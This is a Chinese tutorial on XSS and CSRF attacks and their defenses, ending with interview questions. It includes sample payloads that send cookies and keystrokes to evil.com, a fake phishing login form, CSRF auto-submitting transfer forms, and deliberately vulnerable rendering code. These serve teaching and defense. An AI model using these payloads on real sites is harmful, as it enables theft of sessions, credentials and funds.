跳到主要内容

XSS 与 CSRF 攻击详解

在 Web 开发中,XSS(跨站脚本攻击)CSRF(跨站请求伪造) 是最常见也最危险的两类安全漏洞。可以这样形象地理解:

  • XSS 就像有人在你家的信箱里塞了一封"伪造的家书",你以为是家人写的,打开后却触发了陷阱——攻击者在你信任的网站上"植入"了恶意代码,浏览器误以为是网站自己的代码,于是乖乖执行。
  • CSRF 就像有人冒充你的笔迹给银行写了一封转账信——攻击者借用你的身份(Cookie),在你不知情的情况下向网站发送了伪造请求。

XSS(Cross-Site Scripting)

什么是 XSS?

XSS,全称 Cross-Site Scripting(为了不与 CSS 缩写冲突,所以叫 XSS),是指攻击者通过各种手段将恶意脚本注入到网页中,当其他用户浏览该页面时,恶意脚本就会在用户的浏览器中执行。

核心原理:浏览器无法区分"网站正常代码"和"攻击者注入的代码",只要是页面里的脚本,浏览器都会执行。

XSS 的三种类型

XSS 根据攻击方式的不同,分为三种类型:

1. 存储型 XSS(Stored XSS)

恶意脚本被永久存储在服务器(如数据库)中,所有访问该页面的用户都会中招。这是危害最大的 XSS 类型。

典型场景:论坛发帖、评论区、用户个人资料等。

// 假设这是一个论坛的评论功能
// 攻击者在评论框中输入:
const maliciousComment = `
好文章!
<script>
// 窃取用户 Cookie 发送到攻击者服务器
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
`;

// ❌ 服务端未做过滤,直接存入数据库
// ❌ 前端直接渲染 HTML
commentContainer.innerHTML = maliciousComment;
// 所有查看该评论的用户,Cookie 都被偷走了!

攻击流程

2. 反射型 XSS(Reflected XSS)

恶意脚本藏在 URL 参数中,服务器接收到请求后,把参数原样"反射"回页面中。攻击者需要诱导用户点击特制的链接。

典型场景:搜索结果页、错误信息页等。

假设搜索页面的 URL 是:
https://example.com/search?q=手机

攻击者构造恶意 URL:
https://example.com/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
// ❌ 服务端直接把搜索关键词拼接进 HTML 返回
app.get('/search', (req, res) => {
const keyword = req.query.q;
res.send(`
<h2>搜索结果:${keyword}</h2>
<p>未找到相关内容</p>
`);
// 如果 keyword 是 <script>恶意代码</script>,就会被浏览器执行
});
反射型 vs 存储型
  • 存储型:恶意代码存在服务器上,任何访问者都会中招,持续性攻击
  • 反射型:恶意代码在 URL 中,需要受害者点击恶意链接才触发,一次性攻击

3. DOM 型 XSS(DOM-based XSS)

恶意脚本完全在**前端(浏览器端)**处理,不经过服务器。前端 JavaScript 直接从 URL、location.hash 等不可信来源获取数据,未经过滤就插入到 DOM 中

// 页面根据 URL hash 显示欢迎信息
// 正常 URL:https://example.com/welcome#Terry
// 恶意 URL:https://example.com/welcome#<img src=x onerror=alert(document.cookie)>

// ❌ 危险:直接将不可信数据插入 DOM
const name = location.hash.substring(1);
document.getElementById('greeting').innerHTML = '欢迎你,' + name;

// ✅ 安全:使用 textContent 而非 innerHTML
document.getElementById('greeting').textContent = '欢迎你,' + name;

三种 XSS 类型对比

类型恶意代码存放是否经过服务器触发方式危害程度
存储型服务器数据库用户正常访问即触发⭐⭐⭐
反射型URL 参数需诱导用户点击恶意链接⭐⭐
DOM 型URL 参数 / 前端输入需诱导用户点击恶意链接⭐⭐

XSS 能做什么?

XSS 一旦成功,攻击者可以在受害者的浏览器中执行任意 JavaScript,危害包括但不限于:

攻击行为说明
窃取 Cookiedocument.cookie 获取用户登录凭证
窃取用户信息读取页面上的敏感数据(姓名、邮箱、银行卡号等)
键盘记录监听 keydown 事件,记录用户输入的密码等
钓鱼攻击动态修改页面内容,伪造登录框骗取密码
传播蠕虫脚本自动传播到其他用户(如微博 XSS 蠕虫)
发起 CSRF以用户身份发送请求(转账、改密码等)
// 示例:键盘记录器
document.addEventListener('keydown', (e) => {
fetch('https://evil.com/log', {
method: 'POST',
body: JSON.stringify({
key: e.key,
url: location.href,
timestamp: Date.now(),
}),
});
});

// 示例:伪造登录框进行钓鱼
document.body.innerHTML = `
<div style="display:flex;justify-content:center;align-items:center;height:100vh;">
<form action="https://evil.com/phishing" method="POST">
<h2>会话已过期,请重新登录</h2>
<input name="username" placeholder="用户名" />
<input name="password" type="password" placeholder="密码" />
<button type="submit">登录</button>
</form>
</div>
`;

XSS 防御方案

1. 输出编码(最核心的防御)

原则:永远不要信任用户输入,在将数据插入 HTML 之前进行编码。

根据数据插入的上下文,采用不同的编码方式:

// HTML 实体编码 —— 用于插入 HTML 标签内容时
function escapeHTML(str) {
const escapeMap = {
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&quot;',
"'": '&#x27;',
};
return str.replace(/[&<>"']/g, (char) => escapeMap[char]);
}

// ✅ 安全渲染
const userInput = '<script>alert("xss")</script>';
element.innerHTML = escapeHTML(userInput);
// 输出:&lt;script&gt;alert(&quot;xss&quot;)&lt;/script&gt;
// 浏览器显示纯文本,不会执行脚本

不同上下文的编码规则

插入位置编码方式示例
HTML 标签内容HTML 实体编码<div>用户输入</div>
HTML 属性值HTML 属性编码<img alt="用户输入">
JavaScript 字符串JavaScript 编码var name = '用户输入';
URL 参数URL 编码(encodeURIComponent)?name=用户输入
CSS 值CSS 编码color: 用户输入;

2. 使用安全的 DOM API

// ❌ 危险:innerHTML 会解析 HTML,可能执行脚本
element.innerHTML = userInput;

// ✅ 安全:textContent 只会当纯文本处理
element.textContent = userInput;

// ❌ 危险:document.write 直接写入文档流
document.write(userInput);

// ❌ 危险:eval 执行任意代码
eval(userInput);

// ❌ 危险:通过字符串创建函数
new Function(userInput)();
setTimeout(userInput, 0);
setInterval(userInput, 1000);
特别注意

以下 API 都可能导致 XSS,使用时务必确保数据来源可信:

  • element.innerHTML / element.outerHTML
  • document.write() / document.writeln()
  • eval() / new Function() / setTimeout(string) / setInterval(string)
  • element.setAttribute('onclick', ...) 等事件属性
  • location.href = 'javascript:...'

设置 HttpOnly 标志的 Cookie,JavaScript 无法通过 document.cookie 读取,从根本上阻止 XSS 窃取 Cookie:

Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict
// 攻击者注入的脚本尝试窃取 Cookie
document.cookie; // 无法获取标记了 HttpOnly 的 Cookie!
警告

HttpOnly 只能保护 Cookie 不被偷,不能阻止 XSS 执行其他恶意操作(如篡改页面、键盘记录等)。所以HttpOnly 是必要的但不是充分的防御

4. CSP(Content Security Policy,内容安全策略)

CSP 通过白名单机制,告诉浏览器哪些来源的资源可以加载和执行,从而大幅降低 XSS 的危害。

# 通过 HTTP 响应头设置 CSP
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src *;
<!-- 或通过 meta 标签设置 -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self';">

常用 CSP 指令

指令说明示例
default-src默认加载策略default-src 'self'
script-srcJavaScript 来源script-src 'self' https://cdn.com
style-srcCSS 来源style-src 'self' 'unsafe-inline'
img-src图片来源img-src * data:
connect-srcAJAX/Fetch/WebSocket 连接目标connect-src 'self' https://api.com
frame-srciframe 来源frame-src 'none'
CSP 的核心价值

即使攻击者成功注入了 <script> 标签,如果 CSP 不允许执行内联脚本(未设置 'unsafe-inline'),浏览器也会拒绝执行。这是一道强有力的最后防线。

5. 前端框架的自动防护

现代前端框架(React、Vue 等)默认对插入的内容进行转义,大大降低了 XSS 风险:

// ✅ React 默认安全:自动转义
function Comment({ text }) {
return <div>{text}</div>; // 即使 text 包含 <script>,也只显示纯文本
}

// ❌ 危险:dangerouslySetInnerHTML 跳过转义
function Comment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
// 名字里带 "dangerously" 就是在警告你!
}
<!-- ✅ Vue 默认安全:双花括号自动转义 -->
<template>
<div>{{ userInput }}</div> <!-- 安全 -->
</template>

<!-- ❌ 危险:v-html 跳过转义 -->
<template>
<div v-html="userInput"></div> <!-- 危险! -->
</template>

防御总结


CSRF(Cross-Site Request Forgery)

什么是 CSRF?

CSRF,全称 Cross-Site Request Forgery(跨站请求伪造),是指攻击者诱导已登录的用户访问恶意页面,该页面在用户不知情的情况下,借用用户的登录凭证(Cookie)向目标网站发送伪造的请求

核心原理:浏览器在发送请求时会自动携带目标域名的 Cookie。攻击者虽然拿不到 Cookie 的值,但可以"借刀杀人"——让浏览器自动带上 Cookie 发请求。

理解 CSRF 的关键

CSRF 攻击中,攻击者并不需要获取用户的 Cookie。他只需要让用户的浏览器向目标网站发出请求,浏览器就会自动附带 Cookie。攻击者利用的是"浏览器自动带 Cookie"这个机制。

CSRF 的攻击方式

1. 自动提交的表单(POST 型)

这是最常见的 CSRF 方式。攻击者构造一个隐藏的表单,页面加载后自动提交:

<!-- 恶意网站的页面 evil.com -->
<h1>恭喜你中了大奖!点击领取 →</h1>

<!-- 用户看不到这个表单 -->
<form action="https://bank.com/transfer" method="POST" style="display:none;">
<input name="to" value="attacker_account" />
<input name="amount" value="10000" />
</form>

<script>
// 页面加载后自动提交表单
document.forms[0].submit();
</script>

<!--
用户一打开这个页面,浏览器就会:
1. 向 bank.com 发送 POST 请求
2. 自动带上 bank.com 的 Cookie(因为用户已登录)
3. 银行服务器收到请求,验证 Cookie 通过,执行转账
-->

2. 图片链接(GET 型)

如果目标网站的重要操作使用 GET 请求(这本身就是不规范的),攻击更加简单:

<!-- 恶意网站只需要一张"图片" -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" style="display:none;" />

<!--
浏览器尝试加载这张"图片"时,会向 bank.com 发送 GET 请求
并自动携带 bank.com 的 Cookie
-->

3. 隐藏的 iframe + 表单

<iframe name="csrf-frame" style="display:none;"></iframe>
<form action="https://bank.com/transfer" method="POST" target="csrf-frame">
<input name="to" value="attacker" />
<input name="amount" value="5000" />
</form>
<script>document.forms[0].submit();</script>

4. 利用链接诱导点击(GET 型)

<a href="https://bank.com/transfer?to=attacker&amount=10000">
点击查看你的优惠券
</a>

CSRF 攻击的前提条件

CSRF 能成功必须同时满足以下条件:

CSRF 的防御方案

1. SameSite Cookie(推荐,最简单)

现代浏览器支持的 SameSite 属性可以从源头上限制 Cookie 的跨站发送行为:

Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
SameSite 值效果CSRF 防护
Strict完全禁止跨站携带 Cookie✅ 完全防御
Lax(默认)仅允许顶级导航的 GET 请求携带✅ 防御 POST 型 CSRF
None允许所有跨站请求携带❌ 无防护
注意

SameSite=Lax 虽然是默认值,但它只防御 POST 型 CSRF。如果你的网站存在 GET 请求执行敏感操作的问题,Lax 是不够的。重要操作应该始终使用 POST/PUT/DELETE 方法

2. CSRF Token(最经典的防御方案)

在每个表单中放置一个随机生成的 Token,提交表单时服务端验证 Token 是否匹配。攻击者无法获取到这个 Token,因此无法构造有效的请求。

工作流程

前端实现

<!-- 服务端渲染的表单 -->
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="随机生成的Token值" />
<input name="to" placeholder="转账账号" />
<input name="amount" placeholder="金额" />
<button type="submit">转账</button>
</form>

后端实现(Node.js + Express 示例)

const crypto = require('crypto');

// 生成 CSRF Token
function generateCSRFToken() {
return crypto.randomBytes(32).toString('hex');
}

// 中间件:为每个请求生成并验证 Token
app.use((req, res, next) => {
if (req.method === 'GET') {
// GET 请求:生成 Token 放入 Session
req.session.csrfToken = generateCSRFToken();
res.locals.csrfToken = req.session.csrfToken;
} else {
// POST/PUT/DELETE 请求:验证 Token
const token = req.body._csrf || req.headers['x-csrf-token'];
if (token !== req.session.csrfToken) {
return res.status(403).json({ error: 'CSRF Token 验证失败' });
}
}
next();
});

SPA(单页应用)中的 CSRF Token

在前后端分离的项目中,通常把 Token 放在响应头或 Cookie(非 HttpOnly)中,前端通过 AJAX 请求头携带:

// 后端:将 Token 放入 Cookie(可被 JS 读取)
res.cookie('XSRF-TOKEN', csrfToken, {
httpOnly: false, // 前端需要读取
secure: true,
sameSite: 'Strict',
});

// 前端:从 Cookie 中读取 Token,放入请求头
function getCookie(name) {
const match = document.cookie.match(new RegExp('(^| )' + name + '=([^;]+)'));
return match ? match[2] : null;
}

fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCookie('XSRF-TOKEN'), // 请求头携带 Token
},
body: JSON.stringify({ to: 'friend', amount: 100 }),
});

3. 验证 Origin / Referer

服务端检查请求的来源是否是自己的域名:

app.use((req, res, next) => {
const origin = req.headers['origin'] || req.headers['referer'];

if (!origin) {
// 没有 Origin/Referer,可能是直接访问或旧浏览器
return res.status(403).json({ error: '缺少来源信息' });
}

const allowedOrigins = ['https://example.com', 'https://www.example.com'];
const requestOrigin = new URL(origin).origin;

if (!allowedOrigins.includes(requestOrigin)) {
return res.status(403).json({ error: '非法来源' });
}

next();
});
局限性
  • Referer 在某些情况下可能不会发送(如 HTTPS → HTTP 跳转、浏览器隐私设置)
  • Referer 理论上可以被伪造(虽然浏览器通常不允许 JS 修改)
  • 建议作为辅助防御,不要作为唯一手段

利用"攻击者无法读取目标域名 Cookie"这一特性:

// 前端:从 Cookie 中读取 Token,同时放入请求参数或请求头
const csrfToken = getCookie('csrf-token');

fetch('/api/action', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken, // 请求头中也带上
},
credentials: 'include', // Cookie 自动携带
});

// 后端:对比 Cookie 中的 Token 和请求头中的 Token 是否一致
app.use((req, res, next) => {
const cookieToken = req.cookies['csrf-token'];
const headerToken = req.headers['x-csrf-token'];

if (!cookieToken || cookieToken !== headerToken) {
return res.status(403).json({ error: 'CSRF 验证失败' });
}
next();
});

原理:攻击者虽然可以让浏览器自动带上 Cookie,但由于同源策略,攻击者无法用 JS 读取目标域名的 Cookie 值,因此无法在请求头或请求体中设置正确的 Token。

防御总结


XSS 与 CSRF 的区别

这两种攻击经常被放在一起比较,但它们的本质完全不同:

对比维度XSSCSRF
攻击目标用户的浏览器目标网站的服务器
攻击原理注入并执行恶意脚本借用用户身份发送伪造请求
是否需要注入代码✅ 需要❌ 不需要
是否需要用户登录不一定✅ 必须已登录
攻击者能否获取数据✅ 可以窃取 Cookie、页面数据❌ 只能发请求,看不到响应
信任关系用户信任网站 → 执行网站上的脚本网站信任用户 → 处理用户发来的请求
核心防御输出编码 + CSPCSRF Token + SameSite Cookie
XSS 与 CSRF 的关联

XSS 可以辅助 CSRF 攻击。如果攻击者通过 XSS 获取了 CSRF Token,就可以绕过 Token 验证发起 CSRF 攻击。所以防御 XSS 也是防御 CSRF 的重要环节


综合防御最佳实践

在实际项目中,安全防御应该是多层次、纵深式的:

// Express 应用的安全配置示例
const express = require('express');
const helmet = require('helmet');

const app = express();

// 1. 使用 helmet 设置安全响应头
app.use(helmet());

// 2. 设置严格的 CSP
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"], // 只允许同源脚本
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", 'data:', 'https:'],
connectSrc: ["'self'"],
frameSrc: ["'none'"], // 禁止 iframe
},
})
);

// 3. Cookie 安全配置
app.use((req, res, next) => {
res.cookie('session', req.session.id, {
httpOnly: true, // 防 XSS 窃取
secure: true, // 仅 HTTPS
sameSite: 'Strict', // 防 CSRF
maxAge: 3600000, // 1 小时过期
});
next();
});

// 4. CSRF Token 验证
const csrf = require('csurf');
app.use(csrf({ cookie: true }));

// 5. 输入验证与输出编码
// 使用 DOMPurify(前端)或 xss 库(后端)过滤 HTML
const xss = require('xss');
app.post('/api/comment', (req, res) => {
const safeContent = xss(req.body.content); // 过滤危险标签
// 存储 safeContent...
});

面试高频问答

Q1:什么是 XSS 攻击?有哪些类型?

答: XSS(跨站脚本攻击)是指攻击者将恶意脚本注入到网页中,当用户浏览页面时,恶意脚本在浏览器中执行。分为三种类型:

  1. 存储型 XSS:恶意代码存储在服务器数据库中,所有访问相关页面的用户都会受到影响。如:在评论区插入恶意脚本。危害最大。
  2. 反射型 XSS:恶意代码在 URL 参数中,服务器将参数原样"反射"到响应页面中。需要诱导用户点击恶意链接。
  3. DOM 型 XSS:完全在前端执行,恶意代码通过 URL 等渠道,被前端 JavaScript 直接解析执行,不经过服务器。

Q2:如何防御 XSS 攻击?

答: 多层防御:

  1. 输出编码(最核心):在将用户数据插入 HTML 前进行转义(HTML 实体编码),不同上下文用不同编码方式。
  2. 使用安全 API:优先使用 textContent 而非 innerHTML,避免 eval()document.write() 等危险 API。
  3. HttpOnly Cookie:防止脚本窃取 Cookie。
  4. CSP(内容安全策略):通过白名单限制可执行的脚本来源,禁止内联脚本执行。
  5. 利用框架防护:React/Vue 默认转义插值内容,避免使用 dangerouslySetInnerHTML / v-html
  6. 输入验证:对用户输入进行校验(长度、格式、白名单等),但不能仅靠输入过滤防 XSS。

Q3:什么是 CSRF 攻击?举例说明。

答: CSRF(跨站请求伪造)是指攻击者诱导已登录用户访问恶意页面,在用户不知情的情况下,利用用户的登录状态(Cookie)向目标网站发送伪造请求。

举例:用户已登录银行网站,然后打开了一个恶意页面。该页面包含一个隐藏的表单,自动向银行网站发起转账请求。由于浏览器会自动携带银行网站的 Cookie,银行服务器以为是用户本人操作,转账就成功了。

关键:攻击者不需要获取 Cookie,只需要让浏览器自动带上 Cookie 即可。

Q4:如何防御 CSRF 攻击?

答:

  1. SameSite Cookie(最简单):设置 SameSite=StrictLax,限制 Cookie 跨站发送。
  2. CSRF Token(最经典):在表单中加入服务端生成的随机 Token,提交时验证 Token。攻击者无法获取 Token,因此无法构造有效请求。
  3. 验证 Origin/Referer:检查请求的来源域名,拒绝非本站请求。作为辅助手段。
  4. 关键操作二次确认:对敏感操作(如转账、改密码)要求输入验证码或密码。
  5. 避免 GET 请求执行敏感操作:写操作统一使用 POST/PUT/DELETE。

Q5:XSS 和 CSRF 有什么区别和联系?

答:

区别

  • XSS 是在用户浏览器中执行恶意代码,目的是窃取数据或控制页面;CSRF 是伪造用户请求,目的是以用户身份执行操作。
  • XSS 需要网站存在注入漏洞;CSRF 需要用户已登录目标网站。
  • XSS 攻击者可以获取数据(Cookie、页面内容);CSRF 攻击者只能发送请求,无法看到响应。

联系

  • XSS 可以辅助 CSRF——通过 XSS 窃取 CSRF Token 来绕过 Token 验证。
  • 防御 XSS 也间接防御了 CSRF(因为攻击者无法通过注入脚本获取 Token)。

Q6:CSP 是什么?它是如何防御 XSS 的?

答: CSP(Content Security Policy,内容安全策略)是浏览器的一种安全机制,通过 HTTP 响应头 Content-Security-Policy<meta> 标签声明一个白名单策略,告诉浏览器只允许加载和执行白名单内的资源。

防御 XSS 的原理:

  • 禁止内联脚本执行:不设置 'unsafe-inline',即使攻击者注入了 <script> 标签,浏览器也不会执行。
  • 限制脚本来源:只允许从指定域名加载脚本,攻击者的外部脚本会被拦截。
  • 禁止 eval() 等危险函数:不设置 'unsafe-eval'

CSP 不能替代输出编码,而是作为最后一道防线——即使编码遗漏了某处输入导致 XSS 注入,CSP 也能阻止脚本执行。

Q7:为什么说"不要信任用户输入"?具体怎么做?

答: 因为用户输入是 Web 应用最主要的攻击入口。所有来自用户的数据(表单输入、URL 参数、Cookie、HTTP 头等)都可能包含恶意内容。

具体做法:

  1. 输入验证:检查格式、长度、类型是否符合预期(白名单验证优于黑名单)。
  2. 输出编码:根据数据最终出现的上下文(HTML、JS、URL、CSS)进行相应编码。
  3. 参数化查询:数据库操作使用参数化查询防止 SQL 注入。
  4. 使用安全框架:React/Vue 的自动转义、ORM 的参数化查询等。

输入验证不能替代输出编码——因为同一个输入可能出现在不同上下文中,每个上下文需要不同的编码方式。

Q8:在 SPA 应用中,CSRF 防御有什么不同?

答: SPA(单页应用)通常使用 AJAX(Fetch/XMLHttpRequest)发送请求,与传统表单提交有所不同:

  1. Token 传递方式不同:不能放在隐藏的表单字段中,通常放在自定义请求头中(如 X-CSRF-Token)。
  2. Token 获取方式:可以通过初始页面加载时从服务端获取,或通过非 HttpOnly 的 Cookie 读取。
  3. 天然的部分防护:自定义请求头(如 X-CSRF-Token)本身就有一定防护作用,因为跨域的简单请求无法携带自定义头(需要通过 CORS 预检)。
  4. 结合 SameSite Cookie:SPA 配合 SameSite=Strict 的 Cookie 是最简洁有效的防御方案。

延伸阅读